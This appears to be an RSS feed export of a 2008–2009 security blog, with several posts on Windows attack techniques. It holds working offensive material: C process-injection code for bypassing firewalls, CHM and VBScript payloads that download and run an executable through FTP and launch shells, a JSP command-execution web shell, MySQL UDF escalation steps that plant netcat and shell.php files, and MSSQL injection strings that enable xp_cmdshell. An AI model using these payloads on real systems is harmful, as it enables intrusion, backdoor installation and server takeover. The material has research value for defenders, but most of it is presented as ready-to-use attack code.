    hUser <span style="color: #339933;">=</span> LoadLibrary<span style="color: #009900;">&#40;</span> <span style="color: #ff0000;">&quot;user32.dll&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    my_RPar.<span style="color: #202020;">dwMessageBox</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>DWORD<span style="color: #009900;">&#41;</span>GetProcAddress<span style="color: #009900;">&#40;</span>hUser<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;MessageBoxA&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    GetModuleFileName<span style="color: #009900;">&#40;</span>NULL<span style="color: #339933;">,</span>ExeFile<span style="color: #339933;">,</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">printf</span> <span style="color: #009900;">&#40;</span>ExeFile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    strcpy<span style="color: #009900;">&#40;</span>my_RPar.<span style="color: #202020;">Filename</span><span style="color: #339933;">,</span> ExeFile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    strcpy<span style="color: #009900;">&#40;</span>my_RPar.<span style="color: #202020;">string1</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;HI Abysssec&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    strcpy<span style="color: #009900;">&#40;</span>my_RPar.<span style="color: #202020;">string2</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;OK&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    pmy_RPar <span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span>RPar <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>VirtualAllocEx <span style="color: #009900;">&#40;</span>hProcess <span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>RPar<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>MEM_COMMIT<span style="color: #339933;">,</span>PAGE_READWRITE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    WriteProcessMemory<span style="color: #009900;">&#40;</span>hProcess <span style="color: #339933;">,</span>pmy_RPar<span style="color: #339933;">,&amp;</span>my_RPar<span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span> my_RPar<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    CreateRemoteThread<span style="color: #009900;">&#40;</span>hProcess <span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span>DWORD <span style="color: #009900;">&#40;</span>__stdcall <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>pRemoteThread <span style="color: #339933;">,</span>pmy_RPar<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,&amp;</span>dwThreadId<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    FreeLibrary<span style="color: #009900;">&#40;</span>hKernel<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    CloseHandle<span style="color: #009900;">&#40;</span>hProcess<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;tasklist&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<blockquote></blockquote>
<p><strong>what Happens When Firewall bypass ?</strong></p>
<p><em>in servers :</em></p>
<p>we can call "Internet explorer" or  other trusted Application with [ASP.NET Execute Permission ] and run backdoor in any port .</p>
<p>with this method , we can telnet to open port of server without any worry  .</p>
<p><em>In Client :</em></p>
<p>Backdoor , Trojans , bad software , connect to internet without Access .</p>
<p>Real Word [ Discovered By Abysssec ] test :</p>
<p><strong>Vulnerability Firewall [Outpost 2009 ] :</strong></p>
<p><a href="http://www.agnitum.com/products/outpost/">http://www.agnitum.com/products/outpost/</a></p>
<p>You can Inject Process In IE7 or Mozilla Firefox [default Trusted ] .</p>
<p>[Sorry For more information , This bug is not fixed  , You can test it with Process Injector tools  ].</p>
<p>www.tarasco.org</p>
<p>[pinjector.exe] :</p>
<p><img class="alignnone" title="pinjector" src="http://www.tarasco.org/security/pinjector/pinjector.jpg" alt="" width="590" height="412" /></p>
<p>Download Link + source :</p>
<p><a href="http://www.tarasco.org/security/pinjector/index.html">http://www.tarasco.org/security/pinjector/index.html</a></p>
<p>Final deduction:</p>
<p>1- We can Bypass some firewalls : Don't checked  Allocated Memory in Trusted Process .</p>
<p>2- Dll , Process , PE injection is useful way to run Process without new Prosess ID [PID]  .</p>
<p>In Future :</p>
<p>1- Usage Of these Method In other bypass Protections [hybrid or frees  Protection ]</p>
<p>2 - PE INJECTION , why , what , where !?</p>
<p>More Information :</p>
<p>http://www.tarasco.org/security/pinjector/Win32.Design.Flaws.pdf</p>
<p>http://www.firewallleaktester.com/docs/leaktest.pdf</p>
<p>http://www.bluenotch.com/files/Shewmaker-DLL-Injection.pdf</p>
<p><span class="srcSentence">--------------------------------------------------------------------------------------</span></p>
<p><span class="srcSentence">Happy new year  and holy days</span></p>
<p><span class="srcSentence">god speed you<br />
</span></p>
<p><span class="srcSentence">Daphne<br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/01/how-bypass-firewall-with-process-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Execute with .CHM file.</title>
		<link>http://www.abysssec.com/blog/2008/12/execute-with-chm-file/</link>
		<comments>http://www.abysssec.com/blog/2008/12/execute-with-chm-file/#comments</comments>
		<pubDate>Sun, 14 Dec 2008 18:14:42 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[advisory]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=188</guid>
		<description><![CDATA[Hi . In this post i wanna talk about Execute with CHM file or be honest How we can run Trojan, Backdoor In CHM file ? and we will have a few talk Bypass Script Protection In IE . A CHM help file has a &#8220;.chm&#8221; extension. It has a set of web pages written [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/ie-activex-security-control.jpg"><br />
</a></p>
<p>Hi .</p>
<p>In this post i wanna talk about Execute with CHM file <strong>or be honest </strong> How we can run Trojan, Backdoor In CHM file ?<strong> and we will have a few talk </strong>Bypass Script Protection In IE .</p>
<p>A CHM help file has a &#8220;.chm&#8221; extension. It has a set of web pages written in a subset of HTML and a hyperlinked table of contents. CHM format is optimized for reading, as files are heavily indexed. All files are compressed together with LZX compression. Most CHM browsers have the capability to display a table of contents outside of the body text of the help file.</p>
<p><strong>Engine Of CHM : </strong></p>
<p>CHM run HTML page Based On Internet Explorer Engine .</p>
<p>when you run &#8220;VBSCRIPT&#8221; or &#8220;Activex&#8221;  or &#8220;Object&#8221; with Internet Explorer 7 or higher , Script Protection (Activex Security Control) , Alert To  User &amp; Block Script .</p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/ie-activex-security-control.jpg"><img class="alignnone size-thumbnail wp-image-189" title="ie-activex-security-control" src="http://abysssec.com/blog/wp-content/uploads/2008/12/ie-activex-security-control-150x150.jpg" alt="ie-activex-security-control" width="150" height="150" /></a></p>
<p>when we are during running  a CHM file , we Can Run &amp; Execute &#8220;Object&#8221; + &#8220;Vb Script&#8221; + &#8220;JavaScript &#8220;<strong> Without Any Error </strong>, but If  our Script  inclusive  ActiveX control , We will See a Basic Alert .</p>
<p><strong>Execute IN CHM :</strong></p>
<p>we Need A Program To Create CHM file , I like to  USE WINCHM (free Edition) :</p>
<p><a href="http://www.softany.com/winchm/">http://www.softany.com/winchm/</a></p>
<p>For Edit VBSCRIPT  [With IDE] :</p>
<p><a href="http://www.vbsedit.com/">http://www.vbsedit.com/</a></p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/vbseditor.jpg"><img class="alignnone size-thumbnail wp-image-193" title="vbseditor" src="http://abysssec.com/blog/wp-content/uploads/2008/12/vbseditor-150x150.jpg" alt="vbseditor" width="150" height="150" /></a></p>
<p><strong>Offline Mode (Intro) :</strong></p>
<p>With This Object ID :</p>
<p>{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}</p>
<p>Call &#8220;Windows Script Host Shell Object &#8221; with Object :</p>
<blockquote><p><strong>Example :</strong><br />
&lt;html&gt;<br />
&lt;object id=&#8221;wsh&#8221;<br />
classid=&#8221;clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B&#8221;&gt;&lt;/object&gt;<br />
&lt;script&gt;<br />
wsh.Run(&#8220;c:\windows\system32\calc.exe&#8221;);<br />
&lt;/script&gt;<br />
&lt;/html&gt;</p></blockquote>
<p><strong>Or  :</strong></p>
<blockquote><p>&lt;HTML&gt;<br />
&lt;SCRIPT&gt;<br />
function PROCJavascriptRunProgramParameter( programNameS,<br />
parameterS )<br />
{<br />
var shell = new ActiveXObject(&#8220;WScript.Shell&#8221;);<br />
var quoteS = String.fromCharCode( 34 );<br />
shell.run( quoteS + programNameS + quoteS + &#8221; &#8221; + parameterS, 1,<br />
false );<br />
self.close();<br />
}<br />
&lt;/SCRIPT&gt;<br />
&lt;BODY ONLOAD=&#8217;PROCJavascriptRunProgramParameter( &#8220;C:/windows/system32/calc.exe&#8221;, &#8220;names.nsf&#8221; );&#8217;&gt;<br />
&lt;/BODY&gt;</p></blockquote>
<p><strong><br />
</strong></p>
<p><strong>Online Mode (Backdoor &amp; Script Bypass Mode ) :</strong></p>
<p>we have three Step to do :</p>
<p>1- Download .EXE file (without User InterAction)<br />
2- Save File in Victim PC .<br />
3- RUN It .</p>
<p>for download with VBSCRIPT  I USED This Objects :</p>
<blockquote><p>-Microsoft.XMLHTTP<br />
-MSXML2.ServerXMLHTTP<br />
-WinHttp.WinHttpRequest.5.1<br />
-WinHttp.WinHttpRequest</p></blockquote>
<p><strong>Following This Example :</strong></p>
<blockquote><p>&lt;script language=vbscript&gt;<br />
Dim Http<br />
Set Http = CreateObject(&#8220;WinHttp.WinHttpRequest.5.1&#8243;)<br />
URL = &#8220;http://abysssec.com&#8221;<br />
&#8216;Send request To URL<br />
Http.Open &#8220;GET&#8221;, URL, False<br />
Http.Send<br />
&#8216;Get response data As a string<br />
BinaryGetURL = Http.ResponseBody<br />
&lt;/script&gt;</p></blockquote>
<p><span style="color: #ff0000;"><strong>SAVE FILE  [ Achilles heel  IN CHM ] :</strong></span></p>
<p><span style="color: #ff0000;">Save File &amp; Execute </span><span style="color: #ff0000;">Objects </span><span style="color: #ff0000;">, Run Activex In IE &amp; CHM . </span></p>
<p><span style="color: #ff0000;">IF You Can Find a way to bypass <strong>ActiveX Alert</strong> You can <strong>Find lot&#8217;s of BUG</strong>&#8216;s .</span></p>
<p><span style="color: #ff0000;">Example OF Bug :</span></p>
<p><span style="color: #ff0000;"><a href="http://www.milw0rm.com/exploits/719">http://www.milw0rm.com/exploits/719</a> [2004]<br />
</span></p>
<p><span style="color: #ff0000;">Activex Alert :</span></p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/alert.jpg"><img class="alignnone size-thumbnail wp-image-194" title="alert" src="http://abysssec.com/blog/wp-content/uploads/2008/12/alert-150x150.jpg" alt="alert" width="150" height="150" /></a></p>
<p>Note : we have some bypass trick maybe we disclosure a few of them here soon .</p>
<p>But until that Time You can use This method for Download [FTP Client ] :</p>
<blockquote><p>Option Explicit<br />
Dim objFSO, objMyFile, objShell, strFTPScriptFileName<br />
Dim strLocalFolderName, strFTPServerName, strLoginID, strFTPServerDir<br />
Dim strPassword, strFTPServerFolder, objPassword, objFolder,FolderContent, fso, CleanPath, file, Flag</p>
<p>&#8216;Change this, foldername = local dir (where files must be ftp&#8217;d TO)<br />
strLocalFolderName = &#8220;c:\&#8221;</p>
<p>&#8216; Server where you are ftp&#8217;ing TO<br />
strFTPServerName = &#8220;abysssec.com&#8221;</p>
<p>&#8216; Username you use to ftp<br />
strLoginID = &#8220;test&#8221;</p>
<p>&#8216; Initialize variables<br />
strPassword = &#8220;test&#8221;<br />
strFTPServerDir = &#8220;/www&#8221;</p>
<p>&#8216; Change this to the folder where the files are on the source server<br />
strFTPServerFolder = &#8220;/www&#8221;</p>
<p>&#8216;The follow lines of code generate the FTP script file on the fly,<br />
&#8216;because the directory name changes every time its run</p>
<p>strFTPScriptFileName = strLocalFolderName &amp; &#8220;\FTPScript.txt&#8221;</p>
<p>Set objFSO = CreateObject(&#8220;Scripting.FileSystemObject&#8221;)</p>
<p>If (objFSO.FileExists(strFTPScriptFileName)) Then<br />
objFSO.DeleteFile(strFTPScriptFileName)<br />
End If</p>
<p>Set objMyFile = objFSO.CreateTextFile(strFTPScriptFileName, True)<br />
&#8216;objMyFile.WriteLine (&#8220;ftp -s open &#8221; &amp; strFTPServerName)<br />
objMyFile.WriteLine (&#8220;open &#8221; &amp; strFTPServerName)<br />
objMyFile.WriteLine (strLoginID)<br />
objMyFile.WriteLine (strPassword)</p>
<p>&#8216;strFTPServerDir = InputBox(&#8220;Enter directory from which to ftp:&#8221;)</p>
<p>&#8216;objMyFile.WriteLine (&#8220;cd &#8221; &amp; strFTPServerFolder &amp; strFTPServerDir)<br />
objMyFile.WriteLine (&#8220;cd &#8221; &amp; strFTPServerFolder)<br />
&#8216;objMyFile.WriteLine (&#8220;bin&#8221;)<br />
objMyFile.WriteLine (&#8220;lcd &#8221; &amp; strLocalFolderName)<br />
objMyFile.WriteLine (&#8220;get EF.exe&#8221;)<br />
objMyFile.WriteLine (&#8220;bye&#8221;)<br />
objMyFile.Close</p>
<p>Set objFSO = Nothing<br />
Set objMyFile = Nothing</p>
<p>&#8216;The following code executes the FTP script. It creates a Shell<br />
&#8216;object and run FTP program on top of it.<br />
Set objShell = WScript.CreateObject( &#8220;WScript.Shell&#8221; )<br />
objShell.Run (&#8220;ftp -s:&#8221; &amp; chr(34) &amp; strFTPScriptFileName &amp; chr(34))<br />
&#8216;objShell.Run (strFTPScriptFileName &amp; chr(34))<br />
Set objShell = Nothing</p>
<p>Set fso=CreateObject(&#8220;Scripting.FileSystemObject&#8221;)<br />
CleanPath=&#8221;c:\&#8221;</p>
<p>For Each file In fso.GetFolder(strLocalFolderName).Files<br />
Flag = StrComp(file, strFTPScriptFileName ,1)<br />
if Flag = 0 then<br />
file.delete<br />
end if<br />
Next</p></blockquote>
<p><span style="color: #ff0000;">For Execute You can use it:</span></p>
<blockquote><p>&lt;script language=vbscript&gt;<br />
set  shell = CreateObject(&#8220;WScript.Shell&#8221;)<br />
shell.run( &#8220;cmd.exe&#8221; )<br />
&lt;/script&gt;</p></blockquote>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Bypass Script Protection in CHM :</p>
<p>When You Run This Exploit [ Last Of IE 7 Exploit In this Time ] :</p>
<p><a href="http://www.milw0rm.com/exploits/7410">http://www.milw0rm.com/exploits/7410</a></p>
<p>This Exploit Detect By IE Script Security Protection . You Can Run This Exploit in CHM &amp; Don&#8217;t Worry For Execution through  &#8220;<strong>Heap Spray</strong>&#8221; Method  .</p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/final.jpg"><img class="alignnone size-thumbnail wp-image-195" title="final" src="http://abysssec.com/blog/wp-content/uploads/2008/12/final-150x150.jpg" alt="final" width="150" height="150" /></a></p>
<p>Test IT :</p>
<p><a href="http://abysssec.com/files/Execute-with-IE.chm">http://abysssec.com/files/Execute-with-IE.chm</a></p>
<p>OK , deduction :</p>
<p>1 &#8211; We can put Backdoor &amp; Trojan in CHM files [Fake Book ]</p>
<p>2- We Can Run IE Exploit in CHM files .</p>
<p>3- We Can Execute &amp; Download &amp; Upload with chm files .</p>
<p>4- We Can Run All COM &amp; DLL Objeects with it .</p>
<p>In future :</p>
<p>1- talk about Heap Spray Method  .</p>
<p>2- Talk About Fuzzing OBJECT .</p>
<p>3- Talk About Bypass Activex Question in .CHM [ If i found It !!!!]</p>
<p><span style="color: #ff0000;"><strong><br />
</strong></span></p>
<p><span style="color: #ff0000;"><strong>Question ?</strong></span></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>abysssec comment problem solved fill free to write your comment and mail your request and questions to us .</p>
<p>DAphne</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/12/execute-with-chm-file/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tomcat &amp; Jrun Privilege Escalation (Windows)</title>
		<link>http://www.abysssec.com/blog/2008/11/tomcat-jrun-privilege-escalation-windows/</link>
		<comments>http://www.abysssec.com/blog/2008/11/tomcat-jrun-privilege-escalation-windows/#comments</comments>
		<pubDate>Thu, 27 Nov 2008 21:07:10 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=112</guid>
		<description><![CDATA[In the name of God. Hello my friend &#38; all readers  , Tomcat [jsp]  &#38;  Jrun  [ColdFusion] &#38; some HTTP server , when called &#8220;JSP&#8221; function in windows , Attackers can  Privilege Escalation . This bug Emanate from differ Kernel in windows and Linux . Example Vulnerable Software : &#8220;PLESK&#8221; or many of web management [...]]]></description>
			<content:encoded><![CDATA[<p>In the name of God.</p>
<p>Hello my friend &amp; all readers  ,</p>
<p>Tomcat [jsp]  &amp;  Jrun  [ColdFusion] &amp; some HTTP server , when called &#8220;JSP&#8221; function in windows , Attackers can  Privilege Escalation .</p>
<p><strong>This bug Emanate from differ  Kernel in windows and Linux .</strong></p>
<p>Example Vulnerable Software : &#8220;PLESK&#8221; or many of web management systems  Used them , you can find them .</p>
<p>TOMCAT : [<a title="http://tomcat.apache.org/" href="http://tomcat.apache.org/">http://tomcat.apache.org/</a>]</p>
<p>Jrun : [<a title="http://www.adobe.com/products/jrun/" href="http://www.adobe.com/products/jrun/">http://www.adobe.com/products/jrun/</a>]</p>
<p>Diagram of Run  web Application In windows [ Attention in user mode &amp; kernel Mode ] :</p>
<p><img class="alignnone" title="windows kernel" src="http://i36.tinypic.com/opmw7l.gif" alt="" width="472" height="386" /></p>
<p>.</p>
<p>.</p>
<p>Diagram of Run  web Application In Linux [ Attention in user mode &amp; kernel Mode ] :</p>
<p><img class="alignnone" title="kernel linux diagram" src="http://i36.tinypic.com/igw1sn.png" alt="" width="381" height="343" /></p>
<p>.</p>
<p>.</p>
<p>Please Attention to diragrams , I don&#8217;t mean describe win &amp; lin kernel , But you see , in windows services security &amp; Application Security  are in user mode &amp; you are not face to face with kernel  , But in  linux we have a different Calling Services &amp; user access .</p>
<p>when &#8220;JSP&#8221; web application Run in Linux [ with tomcat  or other Server ] , You can use Privilege of owner [runner] user . but , when you run This in  windows [TOMCAT or Jrun web server ]   ,  &#8220;JSP&#8221; Application take jrun or tomcat Access .</p>
<p>They have Administrator Access . Therefor You have Admin level process.</p>
<p>use [<strong>getRuntime().exec</strong>] Function in [JSP] you can run Process .</p>
<p>This is a test  . [<a title="http://www.rgagnon.com/javadetails/java-0014.html" href="http://www.rgagnon.com/javadetails/java-0014.html">Detail</a>]</p>
<pre><em>import java.io.IOException;Runtime.getRuntime().exec("\"c:/program files/windows/notepad.exe\"");
</em><strong></strong></pre>
<pre><strong>here is one of published PoC For this vulnerabilities</strong></pre>
<p><strong><span style="color: #800000;">we can run it , [abysssec.jsp] -&gt;  :</span></strong><br />
<code><br />
< %@ page import="java.util.*,java.io.*"%><br />
< %<br />
%></p>
<p>< %--<br />
abysssec inc public material</p>
<p>just upload this file with abysssec.jsp and execute your command<br />
your command will run as administrator . you can download sam file<br />
add user or do anything you want .<br />
note : please be gentle and don't obstructionism .<br />
vulnerability discovered by : abysssec.com</p>
<p> --%><br />
<html><body bgcolor=#0000000 and text=#DO0000><br />
<title> Abysssec inc (abysssec.com) JSP vulnerability<br />
<center><br />
<h3>JSP Privilege Escalation Vulnerability PoC</h3>
<p></center></p>
<form METHOD="GET" NAME="myform" ACTION="">
<input TYPE="text" NAME="cmd"/>
<input TYPE="submit" VALUE="Execute !"/>
</form>
<pre>
< %
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr);
                disr = dis.readLine();
                }
        }
%>
</pre>
<p></title></body></html></p>
<p># milw0rm.com [2008-11-28]<br />
</code></p>
<pre></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/11/tomcat-jrun-privilege-escalation-windows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Privilege Escalation With MYSQL</title>
		<link>http://www.abysssec.com/blog/2008/11/privilege-escalation-with-mysql/</link>
		<comments>http://www.abysssec.com/blog/2008/11/privilege-escalation-with-mysql/#comments</comments>
		<pubDate>Sat, 01 Nov 2008 21:00:43 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Pen-test Method]]></category>

		<guid isPermaLink="false">http://secure-developer.com/blog/?p=96</guid>
		<description><![CDATA[GOD. Hi,  Privilege Escalation in windows (from 2000 to2008) with mysql DLL &#38; Functions. when you Install MYSQL in windows OS ,  if you forgot give Permission  to &#8220;DATA&#8221; folder , an attacker can read ROOT Password in mysql DATABAS . Example : 1- Goto : C://program files/mysql5.0.45/data/mysql 2- READ &#8212;&#62; user.MYD 3- Crack it [...]]]></description>
			<content:encoded><![CDATA[<p>GOD.</p>
<p>Hi,  Privilege Escalation in windows (from 2000 to2008) with mysql DLL &amp; Functions.</p>
<p>when you Install MYSQL in windows OS ,  if you forgot give Permission  to &#8220;DATA&#8221; folder , an attacker can read ROOT Password in mysql DATABAS .</p>
<p>Example :</p>
<p>1- Goto :<br />
C://program files/mysql5.0.45/data/mysql</p>
<p>2- READ &#8212;&gt; user.MYD</p>
<p>3- Crack it with CAIN &amp; Able or any tools you have.<br />
root*7B665519FA4B5D860C1DD4E4D40BBCB624ED2B7E</p>
<p><a href="http://i35.tinypic.com/n36fex.png"><img class="alignnone" title="mysql read data" src="http://i35.tinypic.com/n36fex.png" alt="" width="449" height="177" /></a></p>
<p>ok , You can read Data and crack it , for Example cracked hash of atop : &#8220;Root:123456d&#8221; .</p>
<p>you can use &#8220;RAPTOR&#8221; , that is ciritical  exploit ,  Add a Dynamic Library to Mysql. This Library will infect target dll like a trojan (REVERSE SHELL , NETCAT ) .</p>
<p><strong>summary of RAPTOR :</strong><em><br />
MySQL provides a mechanism by which the default set of functions can be expanded by means of custom written dynamic libraries containing User Defined Functions, or UDFs. If MySQL is installed with root privileges, the UDF mechanism allows an attacker to install and run malicious code as root.</em></p>
<p>anyway , You can Connected To mysql with [asp,php,...]SHELL or PhpMyadmin or Terminal [In Example , I connected With Mysql Shell ]</p>
<p><strong>Download Raptor in windows :</strong></p>
<p>http://www.0xdeadbeef.info/exploits/raptor_winudf.tgz</p>
<p>c:\mysql&gt; mysql -h 192.168.0.203</p>
<p>- use mysql;<br />
- create table foo(line blob);<br />
-insert into foo values(load_file(&#8216;c://windows//temp//winudf.dll&#8217;));<br />
-UNLOCK TABLES;<br />
-SELECT * FROM mysql.foo INTO DUMPFILE &#8216;c://windows//system32//winudf.dll&#8217;;<br />
-CREATE FUNCTION netcat RETURNS integer SONAME &#8216;winudf.dll&#8217;;<br />
-CREATE FUNCTION exec RETURNS integer SONAME &#8216;winudf.dll&#8217;;<br />
-DROP TABLE foo;</p>
<p><a href="http://i35.tinypic.com/2z8romo.png"><img class="alignnone" title="mysql raptor" src="http://i35.tinypic.com/2z8romo.png" alt="" width="392" height="389" /></a></p>
<p>then when you write :</p>
<p>select * from mysql.func;</p>
<p>you must see up result .</p>
<p>you can <strong>run Command</strong> in Administrator Privilege , [example] :</p>
<p>&#8211; mysql&gt; select exec(&#8216;echo foo &gt; c:\\bar.txt&#8217;);<br />
&#8211; mysql&gt; select netcat(&#8217;192.168.0.147&#8242;);</p>
<p><strong>Technical information , why This happened ?</strong></p>
<p>From Mysql 5 on, there is an scheduler available similar to SQLAgent and job scheduler in Oracle, so it seems<br />
we have something to run our scripting code once ready.<br />
However, it is not activated by default, but we can assume to execute the backdoor using a privileged account/<br />
so this is not a big deal.<br />
Mysql allows the creation of procedures and functions, but there is no scripting language available, so they<br />
are limited to SQL sentences along with basic loops and conditions. Even access to writing and reading from<br />
disk for saving results and reading files, is limited. It seems we cannot go too far this way &#8230;<br />
However, Mysql implements an additional functionality very convenient to us: UDF (User Defined Functions).<br />
This allows the definition of user functions and implement them in C++, compile them and use them from<br />
Mysql as any other function of the database. It is not necessary to recompile the full database code, as these<br />
functions are dynamically loaded from the plugin directory (since 5.1 version) and may be used from the<br />
database normally.</p>
<p><strong>Other Attack :</strong></p>
<p>with this Root Privilege in mysql , You can use ROBOTIC ARM  to Move file and give them Admin Privilege!</p>
<p>Example :</p>
<p>- use mysql;<br />
- create table foo(line blob);<br />
-insert into foo values(load_file(&#8216;c://windows//temp//shell.aspx&#8217;));<br />
-UNLOCK TABLES;<br />
-SELECT * FROM mysql.foo INTO DUMPFILE &#8216;e://hosting//<strong>ebanking</strong>//shell.php&#8217;;</p>
<p><strong>Linux version :<br />
</strong>http://www.0xdeadbeef.info/exploits/raptor_udf.c</p>
<blockquote>
<pre>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
	unsigned int		arg_count;	// number of arguments
	enum Item_result	*arg_type;	// pointer to item_result
	char 			**args;		// pointer to arguments
	unsigned long		*lengths;	// length of string args
	char			*maybe_null;	// 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
	char			maybe_null;	// 1 if func can return NULL
	unsigned int		decimals;	// for real functions
	unsigned long 		max_length;	// for string functions
	char			*ptr;		// free ptr for func data
	char			const_item;	// 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
	if (args-&gt;arg_count != 1)
		return(0);

	system(args-&gt;args[0]);

	return(0);
}</pre>
</blockquote>
<p>In safeguard GOD .</p>
<p>Daphne .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/11/privilege-escalation-with-mysql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ms-Sql Injection Privilege Escalation !</title>
		<link>http://www.abysssec.com/blog/2008/10/ms-sql-injection-privilege-scalation/</link>
		<comments>http://www.abysssec.com/blog/2008/10/ms-sql-injection-privilege-scalation/#comments</comments>
		<pubDate>Wed, 15 Oct 2008 20:54:14 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Pen-test Method]]></category>

		<guid isPermaLink="false">http://secure-developer.com/blog/?p=45</guid>
		<description><![CDATA[Hi God . Hi Again My Readers! [Attention ] : I  Break Long command . 1- In mssql , when your Privilege Is USER or Db_Owner You will can Enable XP_DIRTREE And Dir wanted Drive . viewdetail.aspx?test=22&#8242;;exec+master.dbo.sp_addextendedproc+ +0x780070005f006400690072007400720065006500,0x7800700073007400610072002e0064006c006c00&#8211; After Enable , You Can Execute Xp_dirtree and save Result In Database &#38; view It. 2- Enable [...]]]></description>
			<content:encoded><![CDATA[<p>Hi God .</p>
<p>Hi Again My Readers!<br />
<strong>[Attention ] : I  Break Long command .</strong><br />
<strong>1- In mssql , when your Privilege Is USER or Db_Owner You will can Enable XP_DIRTREE And Dir wanted Drive .</strong></p>
<blockquote><p>viewdetail.aspx?test=22&#8242;;exec+master.dbo.sp_addextendedproc+<br />
+0x780070005f006400690072007400720065006500,0x7800700073007400610072002e0064006c006c00&#8211;</p></blockquote>
<p>After Enable , You Can Execute Xp_dirtree and save Result In Database &amp; view It.</p>
<p><strong>2- Enable Execute in Administrator Privilege Without Execute Permission :</strong></p>
<p>Enable XP_EXC:</p>
<blockquote><p>viewdetail.aspx?test=22&#8242;;EXEC+sp_configure+<br />
+&#8217;show advanced options&#8217;,1;RECONFIGURE;EXEC sp_configure &#8216;xp_cmdshell&#8217;,1;RECONFIGURE;</p></blockquote>
<p>Enable OS_EX</p>
<blockquote><p>viewdetail.aspx?test=22&#8242;;exec sp_configure &#8216;show advanced options&#8217;,1;RECONFIGURE;<br />
exec sp_configure &#8216;Ole Automation Procedures&#8217;,1;RECONFIGURE;</p></blockquote>
<p>After Execute :</p>
